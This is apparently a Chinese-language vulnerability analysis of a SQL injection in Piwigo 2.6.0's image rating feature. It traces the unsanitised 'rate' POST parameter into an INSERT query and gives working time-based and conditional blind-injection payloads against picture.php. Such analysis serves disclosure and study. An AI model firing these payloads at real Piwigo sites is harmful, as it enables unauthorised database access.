安装好piwigo2.6.0之后,直接测试,发现不行,跳转到上传页面,在picture.php前几行插入了几个var_dump语句,发现程序并没有走到下面,所以先上传一张图片。再次测试时,发现是对图片的一个评分功能。 简单跟踪一下。

Poc如下,post请求

1
2
http://target/piwigo260/picture.php?/1/category/1&action=rate
rate=1 and sleep(10)


查看/picture.php,直接搜索rate, 在326行找到

1
2
3
4
5
6
  case 'rate' :
    {
      include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
      rate_picture($page['image_id'], $_POST['rate']);
      redirect($url_self);
    }



包含了另外一个文件,然后调用了rate_picture函数,并且直接传递的post参数。

查看/include/functions_rate.inc.php

1
function rate_picture($image_id$rate)


搜索rate参数,对于中间不知道值的变量,我们使用var_dump($aaa);exit();来查看该值,

最终我们在119行,看到$rate拼接到注入语句中,


1
2
3
4
5
6
7
8
9
10
11
12
13
 $query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
;';//var_dump($query);exit();
  pwg_query($query);


我们打印该查询语句

1
INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,'*.*.*',1,1 and sleep(10),NOW()) ;


发现我们的语句已经插入到该查询中,insert注入。由于这里没有报错信息,不能使用报错注入的技巧,所有只能盲注了。

一种是像上面那样使用时间盲注,这种比较慢。另外一种会快一些,感兴趣的可以找一找有没有快一点的方法。


1
2
http://target/piwigo260/picture.php?/1/category/1&action=rate
rate=1+ if(1=2,1,4)


1
2
http://target/piwigo260/picture.php?/1/category/1&action=rate
rate=1+ if(1=1,1,4)